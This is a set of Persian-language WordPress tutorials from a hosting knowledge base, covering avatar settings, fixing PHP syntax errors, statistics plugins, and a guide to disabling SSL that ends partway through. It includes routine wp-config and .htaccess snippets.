یه امکان دیگه که این افزونه در اختیارتون قرار میده این هست که امکان انتخاب تصویر پروفایل برای کاربران از بخش تنظیمات شناسنامه وردپرس فراهم خواهد بود. با رفتن به منوی ویرایش شناسنامه من که در بالا صفحه پیشخوان در سمت چپ قرار داره میتونید به صفحه ویرایش پروفایل در وردپرس هدایت بشید. حالا همینطور که در تصویر زیر میبینید گزینه‌ای با عنوان Avatar در انتهای صفحه اضافه شده که امکان تصویر دلخواه برای وردپرس فراهم خواهد بود.

تغییر آواتار پیشفرض وردپرس و افزایش سرعت با تغییر آواتار وردپرس

البته تصویری که در اینجا میبینید از گراواتار خونده میشه که میشه با کلیک روی دکمه Choose Image تصویر دلخواهی رو انتخاب و در هاست آپلود کرد که از این پس تصویر پروفایل به جای نمایش از گراواتار از خود هاست لود بشه.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به تغییر پروفایل پیشفرض وردپرس کرده و سرعت لود سایت خودتون رو هم افزایش بدین. در صورتی که در رابطه با این آموزش و نحوه انتخاب تصویر دلخواه در وردپرس، غیرفعال کردن گراواتار در وردپرس و آپلود تصویر کاربران در وردپرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش تغییر آواتار پیشفرض در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش رفع خطای syntax error در وردپرس

$
0
0

خطای syntax error یکی از رایج‌ترین خطاهایی هست که هنگام آپدیت قالب، آپدیت افزونه و یا ایجاد تغییرات دلخواه در وردپرس ممکنه باهاش مواجه بشیم. وقتی با خطای syntax error در وردپرس مواجه بشید نشون از این داره که در کدنویسی وردپرس که میتونه از سمت افزونه‌ها، قالب یا حتی هسته خود وردپرس باشه یک ناهماهنگی به وجود اومده و بخاطر اینکه کدهای برنامه نویسی در وردپرس در جای خودشون قرار نگرفته با خطای syntax error در وردپرس مواجه خواهید شد. این خطا به صورت برنامه نویسی شده هست و اگر دانش فنی و آشنایی لازم رو با کدنویسی نداشته باشید شاید رفع خطای syntax error در وردپرس کمی پیچیده و زمانبر باشه.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی parse error در وردپرس بپردازم و سپس راهکارهایی که با استفاده از اون میتونید مشکل syntax error رو در وردپرس را برطرف کنید بپردازم. پس اگر شما هم در حال حاضر با این خطا مواجه شدید و نمیدونید که برای برطرف کردنش باید چه راهی رو دنبال کنید تا انتهای این آموزش همراه ما باشید.

آموزش رفع خطای syntax error در وردپرس

وقتی با ارور syntax error در وردپرس مواجه میشید تصویری مشابه زیر در صفحات پیشخوان وردپرس و یا در کل سایت نمایش داده خواهد شد.

قبل از هر چیزی شما باید ابتدا یاد بگیرید که خطای syntax error در وردپرس رو تحلیل کنید و با استفاده از راهنمایی که در خطا وجود داره تا جایی که راه داره با منبع مشکل آشنایی پیدا کنید. مشابه تصویر بالا وقتی این خطا رخ بده اجزای زیر قابل مشاهده هستند.

  • Parse Error: این بخش از پیغام خطا نشون دهنده این هست که برخی کدها و دستورات در وردپرس به خاطر اینکه در جای خودشون قرار نگرفتن، ترتیب سایت رو به هم ریخته و باعث به وجود اومدن خطا شده که در ادامه مسیر و خط اون قطعه کد هم مشخص شده.
  • Unexpected: این خطا بخاطر این نشون داده میشه که ممکنه توابعی که نشون از پایان دادن یک دستور داره را به صورت درست وارد نکردید. در زبان‌های برنامه نویسی مختلف برای انجام یک کار ساده مثل پرینت یک متن یک دستور شروع و یک دستور پایان داریم که کارهایی که باید انجام بگیره درست مثل یک حلقه بین شروع و پایان اون قطعه کد قرار میگیره که در زبان php با استفاده از کاراکترهای ; یا () مشخص میشن. حالا اگر در بین کدهای شما اشتباه تایپی رخ داده باشه یا کلا فراموش کرده باشید که شروع و پایان دستور رو بزنید این خطا داده میشه.
  • آدرس فایل: در ادامه مسیری رو مشاهده می‌کنید که در اینجا مربوط به فایل فانکشن قالب(functions.php) هست که نشون میده خطا در این فایل هست و باید این فایل رو برای اصلاح قطعه دستور برنامه نویسی بررسی کنید.
  • on line: و در نهایت این بخش هم مربوط به شماره خط دستور از فایلی هست که آدرس اون داده شده و با باز کردن فایل که در این مثال فایل فانکشن هست و رفتن به خط 24 میتونید کد رو بررسی و اصلاح کنید.

خب تا اینجا تونستید با استفاده از ارور Syntax Error وردپرس بدونید که منشا خطا از کجاست و تا حدودی نصفی از مسیر رو برای طی کردن مشکل برطرف کنید. حالا برای رفع مشکل باید فایلی که مسیرش مشخص شده رو باز کنید و با رفتن به شماره خط مورد نظر کدهای اون خط رو بررسی کنید. معمولا در اکثر مواقع وقتی این خطا رخ میده، دسترسی به پیشخوان وردپرس برای ویرایش رو ندارید و برای همین باید از طریق FTP یا خود هاست اقدام به ویرایش فایل بکنید.

از اونجایی که استفاده از نرم افزارهای ویرایشگر متن میتونه شماره خط رو بهتون نشون بده و شاید در کنترل پنل هاست که شما دارید این امکان وجود نداره بهتره با استفاده از FTP این کار رو انجام بدین که برای این کار میتونید از مقاله آموزش اتصال ++notepad به هاست سایت استفاده کرده و با اتصال اکانت FTP به هاست خودتون به راحتی قادر باشید به فایل‌ها برای ویرایش و بررسی کدهای خطا دسترسی پیدا کنید.

بعد از اینکه به مسیری که در خطا ذکر شده مراجعه کردید فایل مورد نظر رو باز کرده و به خطی که مشخص شده خطا از اونجاست مراجعه کنید که در این مثال ما باید به مسیر wp-content/themes/twentyseventeen رفته و فایل functions.php رو با کلیک روی دکمه EDIT باز کنیم. سپس به خط 24 این کد رفته و کدهای این خط رو بررسی کنیم و ببینیم که اشکال برنامه نویسی در این خطوط چی هست و با دانشی که دارید اصلاحشون کنید.


غیرفعال کردن افزونه وردپرس

گاهی اوقات این مشکل با نصب یا آپدیت افزونه و ایجاد اختلال با سایت به وجود میاد که لازمه افزونه مورد نظر رو در صورتی که این مشکل مشاهده شد غیرفعال کرده و بررسی کنید که دلیل ناسازگاری از کجا بوده و برطرف کنید. از اونجایی که برای غیرفعال کردن افزونه قادر نیستید از طریق پیشخوان وردپرس اقدام کنید بنابراین باید به روش زیر اقدام کنید.

بعد از اینکه وارد File Manager هاست شدید به مسیر public_html/wp-content/plugins مراجعه کنید. تو این مسیر تعدادی پوشه وجود داره که هر کدوم از این پوشه‌ها مال یکی از افزونه‌ها هست. برای غیرفعال کردن هر افزونه وردپرس هم کافیه نام پوشه را تغییر بدین. حالا کافیه پوشه افزونه‌ای که بعد از نصب یا آپدیت باعث بوجود اومدن خطای syntax error وردپرس شده رو پیدا کنید و روی پوشه افزونه راست کلیک کنید. سپس نام پوشه افزونه را به اسمی دیگه تغییر بدین(مثلا با اضافه کردن یک عدد به انتهای اون). بعد از کلیک روی دکمه save نام پوشه افزونه تغییر نام پیدا کرده و غیرفعال خواهد شد. حالا مجددا نام قبلی رو برگردونید و به پیشخوان وردپرس برای بررسی افزونه یا استفاده از افزونه مشابه مراجعه کنید.

تغییر پوسته وردپرس

گاهی اوقات هم ممکنه این مشکل با نصب یا آپدیت قالب به وجود بیاد و باعث ایجاد اختلال در سایت بشه که لازمه قالب مورد نظر رو در صورتی که این مشکل مشاهده شد غیرفعال کرده و بررسی کنید که دلیل ناسازگاری از کجا بوده و برطرف کنید. از اونجایی که برای تغییر دادن قالب یا غیرفعال کردن قالب در وردپرس قادر نیستید از طریق پیشخوان وردپرس اقدام کنید بنابراین باید به روش زیر اقدام کنید.

بعد از اینکه وارد File Manager هاست شدید به مسیر public_html/wp-content/themes مراجعه کنید. تو این مسیر تعدادی پوشه وجود داره که هر کدوم از این پوشه‌ها مال یکی از قالب‌ها هست. برای غیرفعال کردن قالبی که ازش استفاده میکنید کافیه نام پوشه قالب رو تغییر بدین. حالا کافیه پوشه قالب که بعد از نصب یا آپدیت باعث بوجود اومدن خطای syntax error وردپرس شده رو انتخاب کرده و روی پوشه قالب راست کلیک کنید. سپس نام پوشه قالب را به اسمی دیگه تغییر بدین(مثلا با اضافه کردن یک عدد به انتهای اون). بعد از کلیک روی دکمه save نام پوشه قالب تغییر نام پیدا کرده و غیرفعال خواهد شد. که در این حالت یکی از قالب‌های پیشفرض وردپرس در سایت فعال خواهد شد. حالا مجددا نام قبلی رو برگردونید و به پیشخوان وردپرس برای بررسی قالب مراجعه کنید.


توصیه می‌کنم که…

اگر کاربر مبتدی در وردپرس هستید و دانش کدنویسی ندارید بهتره امکان ویرایش کردن کدها از طریق پیشخوان وردپرس را غیرفعال کنید. چرا که با این کار میشه هم از جلوی این اتفاقات که ممکنه با اضافه کردن کدها به صورت اشتباه در فایل‌ها به وجود بیاد جلوگیری کنید. هم اینکه اگر احیانا به کسی برای رفع مشکلی دسترسی دادید، خیالتون راحت باشه که تغییراتی در کدنویسی سایت صورت نخواهد گرفت. این کار میتونه موجب افزایش امنیت وردپرس بشه. برای این کار به هاست خودتون وارد شده و روی File Manager کلیک کنید.

افزودن منو به قالب وردپرس

سپس به مسیر public_html مراجعه کرده و با راست کلیک کردن روی فایل wp-config.php و انتخاب گزینه Edit کد زیر را در قسمتی که سایر کدهای define قرار داره به این فایل اضافه کنید.

define('DISALLOW_FILE_MODS',true);

با قرار دادن کد بالا در فایل کانفیگ وردپرس و ذخیره فایل امکان ویرایش فایل از طریق وردپرس غیرفعال خواهد شد که منجر به جلوگیری از هک وردپرس میشه.

توجه داشته باشید که، قبل از ایجاد هر گونه تغییر در فایل wp-config.php یک نسخه کپی از این فایل تهیه کنید تا اگر اشتباهی موقع غیرفعال کردن ویرایشگر قالب و افزونه در وردپرس پیش اومد بتونید تغییرات رو به حالت قبل برگردونید و مشکلات رو دو چندان نکنید.

هر موقع هم نیاز به ایجاد تغییرات در کدهای سایت داشتید کافیه از طریق اکانت FTP و یا ویرایشگر خود کنترل پنل هاست که دارید اقدام کنید. در انتها باز هم به این نکته اشاره می‌کنم که، رفع این خطا یک کار تخصصی هست که باید با ویرایش فایل و یا منبعی که باعث به وجود اومدن این خطا شده اونو برطرف کنید. در این آموزش هم صرفا به راهکاری که باید برای رفع خطا برطرف کنید پرداختم، پس رفع خطا به دانش برنامه نویسی شما بستگی داره و اگر دانشی در این زمینه ندارید حتما باید از یک متخصص وردپرس کمک بگیرید.

امیدوارم که این آموزش هم مورد توجه شما قرار گرفته باشه و با استفاده از اون تونسته باشید با نحوه برطرف کردن خطای syntax error در وردپرس آشنا شده و راهکارهایی که باید برای برطرف کردن خطا طی کنید رو فرا بگیرید. در صورتی که در رابطه با این آموزش سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع خطای syntax error در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

معرفی بهترین افزونه‌های آمار وردپرس

$
0
0

مخزن وردپرس پره از افزونه‌های مختلفی که برای استفاده و افزودن یک قابلیت در وردپرس میتونید از هر کدوم از افزونه‌ها که امکانات مد نظر شما رو در اختیارتون قرار میده رو استفاده کنید، بدون اینکه نیاز باشه هزینه‌ای برای برنامه نویسی و پیاده سازی این قابلیت‌ها پرداخت کنید. کافیه افزونه‌ای که امکانات دلخواه شما رو در بهترین شکل ممکن فراهم میکنه رو پیدا کرده و به راحتی با استفاده از آموزش‌هایی که برای افزونه‌های گوناگون در پایگاه دانش میزبان‌فا و به صورت کلی در سطح اینترنت وجود داره نصب و فعال سازی کنید. شمارنده وردپرس و بررسی آمار بازدید در وردپرس هم یکی از این دست موارد هست که افزونه‌های گوناگونی برای بررسی آمار در وردپرس وجود داره که هر کدوم امکانات و ویژگی‌های خاصی رو در اختیارتون قرار میده و برای همین در این آموزش میخوام به معرفی بهترین افزونه آمار وردپرس بپردازم.

توی این آموزش از پایگاه دانش میزبان‌فا سعی می‌کنم بهترین افزونه‌های وردپرسی که باهاشون کار کردم رو به شما معرفی کنم. برخی از این افزونه‌ها قبلا در پایگاه دانش میزبان‌فا معرفی شدن که برای استفاده و آشنایی با تنظیمات افزونه آمارگیر وردپرس کافیه به لینک مقالات هر کدوم مراجعه کنید. برخی از این افزونه‌ها هم تا به حال معرفی نشده و سعی می‌کنم به مرور زمان یک معرفی ازشون داشته باشم. پس در ادامه به معرفی بهترین افزونه‌های آمارگیر وردپرس می‌پردازم.

معرفی بهترین افزونه آمار وردپرس

قبل از اینکه به معرفی این افزونه‌ها بپردازم لازمه تجربه‌ای رو با شما در اختیار بزارم که اگر ازش استفاده کنید خیلی بهتر خواهد بود. به دلیل اینکه افزونه‌های آمارگیر وردپرس اطلاعات مختلفی مثل موقعیت کاربر، اطلاعات سخت افزار و نرم افزار، آی‌پی کاربر، صفحات بازدید شده، مدت زمان ماندن در صفحات و… رو به ما نشون میده برای همین روشنه که استفاده از این افزونه‌ها مصرف منابع زیادی از هاست ما رو اشغال خواهند کرد. بنابراین اگر هاست شما منابع بالایی نداره و ضرورتی هم برای استفاده از آمارگیر در وردپرس ندارید پیشنهاد می‌کنم برای بررسی آمار در وردپرس اصلا سمت افزونه نرید و با استفاده از ابزار دیگه مثل گوگل آنالیتیکس آمار سایت رو مشاهده و بررسی کنید.

معرفی بهترین افزونه آمار وردپرس و بهترین افزونه آمار برای وردپرس

1. افزونه WP Statistics

افزونه WP Statistics یکی از بهترین و پر طرفدارترین افزونه آمارگیر وردپرس هست که استفاده از اون بین کاربران وردپرسی رواج زیادی هم داره. این افزونه تا به امروز موفق شده بیشتر از 400.000 نصب فعال و کسب امتیاز 4.3 را ازآن خودش بکنه. شاید براتون جالب باشه که بدونید یکی از توسعه دهنده‌های این افزونه هم ایرانی هستند. این افزونه امکانات خوبی رو در اختیارتون قرار میده که میتونید از کلیه امکانات اون با زبان شیرین پارسی استفاده کنید. برخی از امکاناتی که این افزونه در اختیار شما قرار میده شامل موارد زیر هستند.

  • نمایش کاربران آنلاین در سایت
  • نمایش بازدید کلی سایت
  • نمایش بازدیدکنندگان سایت
  • امکان ایجاد محدودیت برای شمارش یا عدم شمارش صفحات خاص
  • امکان نمایش کاربران ارجاع شده از موتورهای جستجو مختلف
  • امکان ارسال گزارشات از طریق ایمیل
  • امکان نمایش GeoIP
  • امکان تعیین سطح دسترسی برای مشاهده آمار توسط سایر نقش‌های کاربری
  • نمایش اطلاعات هر بازدیدکننده شامل کشور، آی‌پی، سیستم عامل، مرورگر، کلمات جستجو شده
  • و…

این موارد تنها بخشی از امکانات این افزونه هستند که برای مشاهده جزییات کامل افزونه آمار وردپرس پیشنهاد می‌کنم با کلیک روی دکمه زیر به مقاله معرفی افزونه مراجعه کنید.

آموزش افزونه WP Statistics


معرفی بهترین افزونه آمار وردپرس و بهترین افزونه آمار برای وردپرس

2. افزونه جت پک وردپرس

جت پک یک افزونه هست که توسط خود وردپرس ارائه شده و امکانات بسیار زیادی رو برای سایت وردپرس شما فراهم میکنه. این افزونه قابلیت‌های فراوانی داره که یکی از این قابلیت‌ها آمارگیر بودن افزونه هست که با استفاده از سایت wordpress.com این آمار و ارقام جمع آوری میشن. روشنه که برای استفاده از این افزونه نیازه در سایت وردپرس عضو باشید و سایتتون رو به جت پک متصل کرده باشید که بتونید از امکاناتش استفاده کنید. قابلیت آمارگیری وردپرس قبلا در یک افزونه دیگه بود که بعده‌ها در افزونه جت پک قرار گرفت و به مرور دیگه استفاده از این افزونه کنار رفت. این افزونه هم میتونه امکانات خوبی رو برای آمارگیری در وردپرس در اختیار شما قرار بده که در زیر به معرفی برخی از این موارد می‌پردازم.

  • نمایش آمار کلی از بازدید کننده‌ها
  • نمایش کلی آمار تعداد صفحات
  • نمایش آمار بر حسب کشور
  • نمایش بر اساس ارجاع دهنده‌ها
  • برترین ارسال‌ها و برگه‌ها
  • کلیک‌های انجام شده بر روی لینک‌ها
  • تعداد دنبال کننده‌ها و به اشتراک گذاری‌ها
  • نمایش آمار در بخش کاربری سایت با استفاده از ابزارک به بازدیدکننده‌ها
  • و…

اما حتما سعی می‌کنم در یک آموزش جدا به معرفی کامل افزونه جت پک هم بپردازم. چرا که امکانات این افزونه به قدری زیاد هست و بعد از هر آپدیت هم بیشتر میشه که نیاز به یک مقاله جامع خواهد داشت.

دانلود افزونه جت پک وردپرس


معرفی بهترین افزونه آمار وردپرس و بهترین افزونه آمار برای وردپرس

3. افزونه Google Analytics Dashboard for WP

افزونه Google Analytics Dashboard for WP هم یکی دیگه از پر طرفدارترین افزونه‌های وردپرس برای نمایش آمار در وردپرس هست. اما همونطور که از اسم این افزونه مشخصه کاری که انجام میده اینه که اطلاعات و آمار سایت رو از گوگل آنالیتیکس دریافت می‌کنه. بنابراین برای استفاده از این افزونه ابتدا باید سایت خودتون رو در گوگل آنالیتیکس ثبت کرده باشید که در مقاله آموزش نصب و فعال سازی گوگل آنالیتیکس google analytics بر روی سایت به نحوه ثبت سایت در گوگل برای نمایش آمار پرداختیم. سپس این افزونه رو روی سایت خودتون نصب و فعال کرده و از امکاناتش استفاده کنید. این افزونه تا به امروز تونسته بیشتر از یک میلیون نصب فعال و کسب امتیاز 4.4 رو ازآن خودش بکنه که میتونید از امکانات زیر برای نمایش آمار بهره ببرید.

  • امکان مشاهده بازدیدکنندگان آنلاین
  • نمایش بازدید امروز، دیروز، هفته، ماه، سال و سه سال بر اساس کاربر، صفحات بازدید شده، سایت‌های ارجاع دهنده و…
  • امکان مشاهده آمار به صورت نموداری در پیشخوان وردپرس
  • امکان نمایش آمار در سایت با استفاده از ابزارک به بازدیدکنندگان
  • امکان مشاهده آمار بازدید هر نوشته، برگه، محصول و… بر اساس بازه‌های زمانی مختلف
  • امکان مشاهده کلمات کلیدی جستجو شده و ورود به سایت از موتورهای جستجو
  • امکان مشاهده تعداد بازدید‌های مستقیم، موتورهای جستجو، شبکه‌های اجتماعی
  • و…

برای استفاده از این افزونه هم کافیه روی دکمه زیر کلیک کرده و بعد از اینکه به صفحه آموزش افزونه هدایت شدید با امکاناتش آشنا شده و از این افزونه استفاده کنید. شخصا استفاده از این افزونه رو پیشنهاد می‌کنم و از طرف دیگه به خاطر تحریم بودن برای کاربران ایرانی میتونید بدون نیاز به ابزار تغییر آی‌پی، آمار سایت رو به صورت لحظه‌ای و هر زمان که نیاز بود در پیشخوان وردپرس و صفحات دلخواه به بازدیدکننده‌ها نمایش بدین.

آموزش افزونه Google Analytics Dashboard for WP


معرفی بهترین افزونه آمار وردپرس و بهترین افزونه آمار برای وردپرس

4. افزونه Google Analyticator

افزونه Google Analyticator هم تا به امروز موفق شده بیش از 200.000 نصب فعال و کسب امتیاز 3.6 رو ازآن خودش بکنه که با استفاده از این افزونه هم میتونید آمار سایت رو با استفاده از گوگل آنالیتیکس مشاهده کنید. این افزونه هم مثل افزونه قبلی بدون اینکه نیاز باشه کدی رو به قالب سایت خودتون اضافه کنید آمار بازدید سایت رو به شما نمایش خواهد داد. امکاناتی که این افزونه در اختیارتون قرار میده هم درست مثل افزونه قبلی هست اما با این تفاوت که رابط کاربری ضعیف‌تری داره و اگه نظر منو بخواین پیشنهاد می‌کنم از افزونه قبلی استفاده کنید.

برای استفاده از این افزونه میتونید روی دکمه زیر کلیک کرده و بعد از اینکه وارد صفحه افزونه در مخزن وردپرس شدید با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال سازی افزونه کنید. در نهایت با اتصال افزونه به گوگل آنالیتیکس هم میتونید آمار سایت رو مشاهده و آنالیز کنید.

دانلود افزونه Google Analyticator


معرفی بهترین افزونه آمار وردپرس و بهترین افزونه آمار برای وردپرس

5. افزونه Slimstat Analytics

افزونه Slimstat Analytics یکی دیگه از افزونه‌های خوب برای آمارگیری در وردپرس هست که تا به امروز موفق شده بیشتر از 100.000 نصب فعال و کسب امتیاز 4.8 رو ازآن خودش بکنه که با استفاده از این افزونه میتونید آمار را در وردپرس نمایش بدین. یکی از مشکلاتی که معمولا در افزونه‌های آمارگیر وجود داره اینه که در صورت استفاده از کش وردپرس، ممکنه آمار کش شده و به درستی نمایش داده نشن که این افزونه با افزونه‌هایی مثل W3 Total Cache, WP SuperCache, HyperCache و سایر افزونه‌های کش که استفاده بالایی دارند سازگاری داره و مشکلی در استفاده از افزونه از نظر کش شدن آمار نخواهید داشت. این افزونه امکاناتی از جمله موارد زیر رو در اختیار شما قرار خواهد داد.

  • امکان نمایش آمار بر اساس مرورگر، کد کشور، آی‌پی، زبان، سیستم عامل کاربر، کلمات جستجو شده، ارجاع دهنده، نویسنده
  • نمایش آمار به صورت نمودار و چارت
  • امکان نمایش آمار در سایت با استفاده از ابزارک
  • امکان نمایش آمار دلخواه با استفاده از شورت کد در هر بخش از سایت
  • و…

دقت کنید که استفاده از قابلیت نمایش آمار دلخواه با استفاده از شورت کد در این افزونه نیاز به افزونه جانبی داره که در صورت نیاز به استفاده باید افزونه جانبیش رو نصب کنید. برای استفاده از این افزونه هم میتونید روی دکمه زیر کلیک کرده و جزییات بیشتر از افزونه به همراه تصاویری از محیط افزونه را در مخزن وردپرس ببینید و اگر چیزی هست که به دنبالش هستید ازش استفاده کنید.

دانلود افزونه Slimstat Analytics

در انتها باز هم تکرار می‌کنم که اگر بررسی آمار در وردپرس زیاد ضروری نیست از افزونه‌هایی که داده‌ها رو در سایت و هاست شما پردازش می‌کنند استفاده نکنید. اگه مایل به استفاده از افزونه هستید استفاده از افزونه Google Analytics Dashboard for WP رو بهتون پیشنهاد می‌کنم که آمار اون از طریق گوگل آنالیتیکس دریافت میشه و میتونید از کلیه امکاناتی که سیستم آمارگیری وردپرس در اختیارتون قرار میده هم استفاده کنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید یکی از بهترین افزونه‌های آمارگیر وردپرس رو انتخاب کرده و ازش استفاده کنید. در صورتی که در رابطه با این آموزش سوالی داشتید یا اینکه افزونه‌هایی رو میشناسید که برای کاربران فارسی انتخاب بهتری هستند در بخش دیدگاه‌ها اعلام کنید تا با آپدیت نوشته به معرفی اونها هم بپردازم.

نوشته معرفی بهترین افزونه‌های آمار وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش نحوه غیرفعال کردن SSL در وردپرس

$
0
0

گاهی اوقات پیش میاد که به هر دلیلی تصمیم به غیرفعال کردن SSL در وردپرس می‌گیریم. این کار میتونه دلایل مختلفی داشته باشه که شاید عمده‌ترینش کاهش هزینه در خرید SSL یا مشکل یا افزونه خاص باشه که بیشتر کاربران به همین علت SSL رو غیرفعال می‌کنند. گاهی اوقات هم پیش میاد که واقعا نیازی به استفاده از SSL در سایتمون نداریم و برای همین تصمیم به حذف ssl از وردپرس می‌گیریم. توی مدت یک ساله‌ای که از انتشار دو مقاله آموزش نحوه نصب ssl روی وردپرس و آموزش نصب و فعال سازی ssl رایگان در سی پنل برخی کاربران در بخش دیدگاه‌ها سوالاتی در خصوص غیرفعال کردن SSL در وردپرس پرسیده بودند که همین موضوع باعث شد این آموزش رو در جهت انجام کارهایی که برای غیرفعال کردن HTTPS در وردپرس انجام بدین تهیه کردم.

در این آموزش از پایگاه دانش میزبان‌فا به معرفی کلیه کارهایی که باید برای غیرفعال کردن و حذف SSL در وردپرس انجام بدین می‌پردازم که در نهایت میتونید سایت خودتون رو که روی پروتکل امن HTTPS بوده به پروتکل HTTP منتقل کنید به صورتی که دیگه در سایتتون SSL وجود نداشته باشه. دغدغه اصلی کاربران در حذف کردن SSL هم این هست که میگن ممکنه رتبه سایت خودمون رو در نتایج گوگل از دست بدیم که از این بابت هم نگرانی وجود نداره و با روش‌هایی که در ادامه توضیح میدم میتونید از این مشکلات جلوگیری کنید. پس اگه شما هم به منظور غیرفعال کردن SSL در وردپرس به این مقاله مراجعه کردید تا انتها با ما همراه باشید.

آموزش غیرفعال کردن SSL در وردپرس

برای غیرفعال سازی SSL در وردپرس باید تمام کارهایی که در جهت نصب SSL روی وردپرس انجام دادید رو دانگرید کنید. این کارها به ترتیب عبارتند از:

  • ویرایش فایل htaccess.
  • ویرایش آدرس‌های وردپرس
  • حذف SSL از پیشخوان وردپرس(در صورت وجود)
  • اصلاح آدرس‌ها در مطالب و محتوای سایت

حالا که با این مراحل آشنا شدید و یک ذهنیت ازشون به دست آوردید در ادامه به توضیح هر کدوم از این مراحل می‌پردازم.

مرحله اول: ویرایش فایل htaccess.

وقتی اقدام به نصب SSL در وردپرس کردیم اولین کاری که می‌کنیم این هست که کاری کنیم کاربران از پروتکل HTTP به HTTPS هدایت بشن. حالا برای اینکه این کار رو به صورت عکس انجام بدیم تا کاربران رو با استفاده از ریدایرکت HTTPS به HTTP هدایت کنیم باید با استفاده از htaccess. این کار رو انجام بدیم. با استفاده از ویرایش فایل htaccess. میتونیم تا تعیین کنیم وقتی کاربران طبق روال گذشته به آدرس سایت ما که با https:// بود از هر جایی که وارد شدند به صورت خودکار به آدرس سایت که حالا با پروتکل http:// هست منتقل بشن. از اونجایی که با تغییر پروتکل سایت از https:// به http:// آدرس های کلیه بخش های سایت تغییر میکنه در این صورت گوگل و سایر موتورهای جستجو این رو به عنوان یک سایت جدید میتونن در نظر بگیرند پس باید کاری کنیم که به موتور جستجو بگیم درواقع هر دو آدرس متعلق به یک سایت هستند. بنابراین میایم و با ویرایش فایل htaccess. کاری میکنیم تا عمل انتقال بازدیدکننده به پروتکل http:// به صورت ریدایرکت 301 صورت بگیره. بنابراین وارد هاست خودتون بشید و به قسمت File Manager هاست مراجعه کنید. سپس به دنبال فایل htaccess. باشید تا اونو ویرایش کنید. اگر چنین فایلی رو مشاهده نمی‌کنید تو هاست سی پنل روی منوی settings که در منوی بالا و در سمت راست قرار داره کلیک کنید و تیک گزینه برای show hidden files رو فعال کنید تا فایل های مخفی به شما نمایش داده بشن. حالا که فایل رو تونستید ببینید روی اون راست کلیک کرده و گزینه Edit را انتخاب کنید و کدهای زیر را به ابتدای این فایل اضافه کنید و در نهایت فایل را ذخیره کنید.

# Redirect HTTPS to HTTP
RewriteCond %{HTTP:X-Forwarded-Proto} =https
RewriteRule ^(.*)$ http://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

دقت کنید که کدهای بالا قبل از # BEGIN WordPress باشند تا در اولویت قرار بگیرند. با انجام این کار حالا از این پس هر کاربری که به آدرس سایت که با https بوده وارد بشه به صورت خودکار به آدرس سایت با http هدایت خواهد شد.

مرحله دوم: ویرایش آدرس‌های وردپرس

بعد از ایکه فایل htaccess. سایت خودتون را برای ریدایرکت 301 کاربران از پروتکل https:// به http:// انجام دادید حالا نوبت اینه تا آدرس های سایت خودتون را به روزرسانی کنید. منظور ما از آدرس های سایت اینه که URL های مربوط به رکورد siteurl و home که در آموزش های انتقال وردپرس اونها را مشاهده کردید رو تغییر بدین، برای این کار دو راه داریم که عبارتند از:

راهکار اول: تغییر آدرس های سایت از پیشخوان وردپرس

برای این منظور اگر به پیشخوان وردپرس دسترسی دارید ابتدا وارد پیشخوان سایت وردپرس خودتون بشید و سپس به مسیر تنظیمات> عمومی مراجعه کنید. در این مرحله همینطور که در تصویر زیر مشاهده می‌کنید دو فیلد با نام های نشانی وردپرس (URL) و نشانی سایت (URL) قرار دارند که برای آدرس سایت و نشانی که وردپرس روی اون نصب هست مورد استفاده قرار می‌گیرند. حالا همونطور که در تصویر می‌بینید این آدرس ها رو ویرایش کرده و از حالتی که در حال حاضر روی HTTPS قرار دارند به HTTP تغییر بدین. بنابراین هر دو گزینه رو به http:// تغییر بدین و روی دکمه ذخیره تغییرات که در انتهای صفحه قرار داره کلیک کنید تا آدرس ها در دیتابیس تغییر داده شوند.

غیرفعال کردن SSL در وردپرس و چگونگی حذف ssl از وردپرس

راهکار دوم: تغییر آدرس های سایت از دیتابیس وردپرس

برای این منظور ابتدا باید وارد محیط phpmyadmin سایت خودتون بشید بنابراین وارد هاست شده و به محیط phpmyadmin مراجعه کنید. سپس دیتابیسی که مربوط به سایت وردپرس شما میشه را انتخاب کرده و روی جدول wp_options کلیک کنید. البته ممکنه که به دلیل تغییر پیشوند جداول در وردپرس این نام برای شما چیز دیگه ای باشه اما در هر صورت بعد از پیشوند انتخاب شده عبارت options قرار داره. بعد از اینکه روی جدول مورد نظر کلیک کردید مشابه تصویر زیر میبینید که دوتا رکورد با نام های siteurl و home وجود دارند که باید اونها رو ویرایش کنید.

غیرفعال کردن SSL در وردپرس و چگونگی حذف ssl از وردپرس

حالا همونطوری که در تصویر مشاهده میکنید روی دکمه Edit برای هر دو گزینه کلیک کنید و بعد از این مرحله در صفحه ای که براتون باز میشه آدرس سایت که با پروتکل https:// هستش رو به http:// تغییر بدین و نام دامنه رو هم براش وارد کنید. در نهایت روی دکمه Go که در انتهای صفحه قرار داره کلیک کنید تا تنظیمات برای شما ذخیره شوند. حالا همین کار رو برای هر دو رکورد انجام بدین که در صفحه ویرایش اونها چیزی مشابه زیر خواهد بود.

غیرفعال کردن SSL در وردپرس و چگونگی حذف ssl از وردپرس

حالا بعد از اینکه آدرس های سایت رو ویرایش کردید عملیات غیرفعال کردن پروتکل https:// تو سایت شما انجام میگیره و دیگه سایت با HTTPS در دسترس نخواهد بود و در صورتی که به آدرس با HTTPS وارد بشید به آدرس بدون HTTPS ریدایرکت خواهید شد.

مرحله سوم: حذف SSL از پیشخوان وردپرس

